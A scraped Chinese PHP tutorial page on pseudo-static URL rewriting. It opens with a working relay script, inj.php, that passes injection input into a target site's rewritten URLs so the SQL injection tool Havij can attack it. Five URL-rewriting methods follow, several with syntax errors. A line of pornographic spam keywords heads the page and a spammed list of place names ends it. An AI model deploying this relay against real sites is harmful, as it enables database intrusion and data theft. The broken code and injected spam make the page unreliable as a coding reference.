最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

PHP 偽靜態(tài)技術(shù)原理以及突破原理實(shí)現(xiàn)介紹

 更新時(shí)間:2013年07月12日 17:43:23   作者:  
偽靜態(tài)技術(shù)比較好突破,需要自己構(gòu)造中轉(zhuǎn)注入頁面;偽靜態(tài)技術(shù)原理都很簡(jiǎn)單,就是把原來的 index.php?id=1 這種形式的URL給替換成其它形式
先說實(shí)現(xiàn)方法:
inj.php:
復(fù)制代碼 代碼如下:

<?php
set_time_limit(10);
$id=$_GET["id"];
$id=str_replace(" ","%20",$id);
$id=str_replace("=","%3D",$id);
$url="http://www.xxx.com/index.php/library/more/id/$id.html";
$ch=curl_init();
curl_setopt($ch,CURLOPT_URL,"$url");
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);//啟用時(shí)將curl_init()獲取的信息以文件流的形式返回,而不是直接輸出
curl_setopt($ch,CURLOPT_HEADER,0);//啟用時(shí)會(huì)將頭文件的信息作為數(shù)據(jù)流輸出
$output=curl_exec($ch);
curl_close($ch);
print_r($output);
?>

用wamp搭建一個(gè)服務(wù)器,把上面inj.php放到wamp/www/中,然后在Havij中跑 http://127.0.0.1/inj.php?id=1
=============================
PHP偽靜態(tài)實(shí)現(xiàn)方法一(利用Apache 服務(wù)器的功能)
1、檢查Apache是否支持mod_rewrite
2、讓Apache 支持.htaccess
3、建立.htaccess文件
4、規(guī)則:
RewriteEngine on
RewriteRule ([a-zA-Z]{1,})-([0-9]{1,}).html$index.php?action=$1&id=$2
([a-zA-Z]{1,})-([0-9]{1,}) 是 URL長(zhǎng)啥樣
$1 是([a-zA-Z]{1,}) 所匹配的
$2 是[0-9]{1,} 所匹配的
比如說:www.xx.com/page-18.html
真實(shí)的URL如下:
action = page
id = 18
============================
PHP偽靜態(tài)實(shí)現(xiàn)方法二(編碼實(shí)現(xiàn))
$Php2Html_FileUrl = $_SERVER["REQUEST_URI"]
echo $Php2Html_FileUrl
例子:// localhost/php100/test.php?id|1@action|2
復(fù)制代碼 代碼如下:

$Php2Html_UrlString = str_replace("?","",str_replace("/","",strrchr(strrchr($Php2Html_FileUrl,"/"),"?")) ))
/*
內(nèi)層的strrchr出來:/test.php?id|1@action|2
外層的strrchr出來:id|1@action|2
內(nèi)層的str_replace出來:把 / 號(hào)去掉,本例子 沒有
外層的str_replace出來:把 ?號(hào)去掉,本例子 沒有
*/
$Php2Html_UrlQueryStrList = explode("@",$Php2Html_UrlString);
/*把str變成以@為界限劃分的數(shù)組:id|1 和 action|2*/
foreach($Php2Html_UrlQueryStrList as $Php2Html_UrlQueryStr)
{
$Php2Html_TmpArray = explode("|",$Php2Html_UrlQueryStr);
/* id => 1 和 action => 2*/
$_GET[$Php2Html_TmpArray[0]] = $Php2Html_TmpArray[1];
}

============================
PHP偽靜態(tài)實(shí)現(xiàn)方法三(編碼實(shí)現(xiàn))
例子: localhost/php100/test.php/1/2
復(fù)制代碼 代碼如下:

$filename = basename($_SERVER["SCRIPT_NAME"]);
echo $_SERVER["SCRIPT_NAME"];
echo $filename;
if(strtolower($filename) == 'test.php'){
if(!empty($_GET[id])){
$id=intval($_GET[id]);
echo $id;
$action = intval($_GET[action]);
echo $action;
}else{
$nav=$_SERVER["REQUEST_URI"];
$script=$_SERVER["SRCIPT_NAME"];
//這句話應(yīng)該是把URL前面那段給搞掉。。剩下 "1/2"之類的。。
$nav=ereg_replace("$script","",urldecode($nav));
echo $nav;
$vars = explode("/",$nav);
print_r($vars);
$id=intval($vars[1]);
$action=intval($vars[2]);
}
echo $id.'&'.$action;
}

============================
PHP偽靜態(tài)實(shí)現(xiàn)方法四(編碼實(shí)現(xiàn))
復(fù)制代碼 代碼如下:

function mod_rewrite(){
global $_GET;
$nav = $_SERVER["REQUEST_URI"];
$script_name = $_SERVER["SCRIPT_NAME"]
$nav=substr(ereg_replace("$script_name"),"",urldecode($nav)),1);
$nav=preg_replace("/^.ht(m){1}(l){0,1}$/","",$nav);//去掉尾部的htm或html
$vars=explode("/",$nav);
print_r($vars);
for($i=0;$i<count($vars);$i+=2)
{
$_GET[$vars[$i]] = $vars[$i+1];
}
return $_GET;
}

============================
PHP偽靜態(tài)實(shí)現(xiàn)方法五(編碼實(shí)現(xiàn))
例子:/1,100,8630.html
復(fù)制代碼 代碼如下:

if(preg_match(“/\/(\d+),(\d+),(\d+)\.html/si”,$path_info,$arr_path)){
$gid =intval($arr_path[1]); //取得值1
$sid =intval($arr_path[2]); //取得值100
$softid =intval($arr_path[3]); //取得值8630
}
else
echo "Path:Error!";

總結(jié)下:
(1)偽靜態(tài)技術(shù)比較好突破,需要自己構(gòu)造中轉(zhuǎn)注入頁面。
(2)偽靜態(tài)技術(shù)原理都很簡(jiǎn)單,就是把原來的 index.php?id=1 這種形式的URL給替換成其它形式。

相關(guān)文章

  • php實(shí)現(xiàn)的雙向隊(duì)列類實(shí)例

    php實(shí)現(xiàn)的雙向隊(duì)列類實(shí)例

    這篇文章主要介紹了php實(shí)現(xiàn)的雙向隊(duì)列類,是數(shù)據(jù)結(jié)構(gòu)中非常重要的一個(gè)數(shù)據(jù)結(jié)構(gòu)類型,需要的朋友可以參考下
    2014-09-09
  • 常見的PHP五種設(shè)計(jì)模式小結(jié)

    常見的PHP五種設(shè)計(jì)模式小結(jié)

    設(shè)計(jì)模式不僅代表著更快開發(fā)健壯軟件的有用方法,而且還提供了以友好的術(shù)語封裝大型理念的方法,本文主要介紹了常見的PHP五種設(shè)計(jì)模式小結(jié),感興趣的可以了解一下
    2011-03-03
  • php cookie的操作實(shí)現(xiàn)代碼(登錄)

    php cookie的操作實(shí)現(xiàn)代碼(登錄)

    cookie 常用于識(shí)別用戶。cookie 是服務(wù)器留在用戶計(jì)算機(jī)中的小文件。每當(dāng)相同的計(jì)算機(jī)通過瀏覽器請(qǐng)求頁面時(shí),它同時(shí)會(huì)發(fā)送 cookie。通過 PHP,您能夠創(chuàng)建并取回 cookie 的值。
    2010-12-12
  • PHP實(shí)現(xiàn)數(shù)組遞歸轉(zhuǎn)義的方法

    PHP實(shí)現(xiàn)數(shù)組遞歸轉(zhuǎn)義的方法

    這篇文章主要介紹了PHP實(shí)現(xiàn)數(shù)組遞歸轉(zhuǎn)義的方法,包含了數(shù)組的遞歸調(diào)用與字符串的轉(zhuǎn)義方法,需要的朋友可以參考下
    2014-08-08
  • PHP include_path設(shè)置技巧分享

    PHP include_path設(shè)置技巧分享

    當(dāng)時(shí)候函數(shù)include(),require(),fopen_with_path()函數(shù)來尋找文件時(shí)候.在不設(shè)置include_path的情況下,這些函數(shù)打開文件時(shí)候默認(rèn)的是以web根目錄去尋找.當(dāng)設(shè)置include_path以后,這些php函數(shù)就會(huì)先在指定的include_path目錄下面去搜索尋找
    2011-07-07
  • PHP使用數(shù)組實(shí)現(xiàn)矩陣數(shù)學(xué)運(yùn)算的方法示例

    PHP使用數(shù)組實(shí)現(xiàn)矩陣數(shù)學(xué)運(yùn)算的方法示例

    這篇文章主要介紹了PHP使用數(shù)組實(shí)現(xiàn)矩陣數(shù)學(xué)運(yùn)算的方法,結(jié)合具體實(shí)例形式分析了php基于數(shù)組實(shí)現(xiàn)矩陣表示與運(yùn)算的相關(guān)操作技巧,需要的朋友可以參考下
    2017-05-05
  • 專為新手寫的結(jié)合smarty的類

    專為新手寫的結(jié)合smarty的類

    專為新手寫的結(jié)合smarty的類...
    2006-12-12
  • php-accelerator網(wǎng)站加速PHP緩沖的方法

    php-accelerator網(wǎng)站加速PHP緩沖的方法

    我們知道 Zend 有免費(fèi)的優(yōu)化引擎針對(duì) PHP 而作,但是 FreeLAMP 這次采用的是一個(gè)叫做 PHP Accelerator 的緩沖產(chǎn)品。
    2008-07-07
  • php防止CC攻擊代碼 php防止網(wǎng)頁頻繁刷新

    php防止CC攻擊代碼 php防止網(wǎng)頁頻繁刷新

    這篇文章主要介紹了php防止CC攻擊代碼和php防止網(wǎng)頁頻繁刷新,網(wǎng)頁快速惡意刷新,cc攻擊利用代理服務(wù)器生成指向目標(biāo)站點(diǎn)的合法請(qǐng)求,模擬多用戶不停的對(duì)受害網(wǎng)站進(jìn)行訪問,感興趣的小伙伴們可以研究一下
    2015-12-12

最新評(píng)論

新民市| 尼勒克县| 土默特左旗| 平舆县| 临高县| 古田县| 贵州省| 深圳市| 广南县| 苗栗市| 丹棱县| 同江市| 湖口县| 新兴县| 汤原县| 三穗县| 宝清县| 巴塘县| 玉龙| 天津市| 长阳| 永川市| 龙门县| 济南市| 梅河口市| 安徽省| 晋宁县| 永寿县| 武邑县| 原阳县| 房产| 英吉沙县| 丹东市| 吴堡县| 灌云县| 平舆县| 乌兰县| 莲花县| 蒲城县| 景泰县| 汉源县|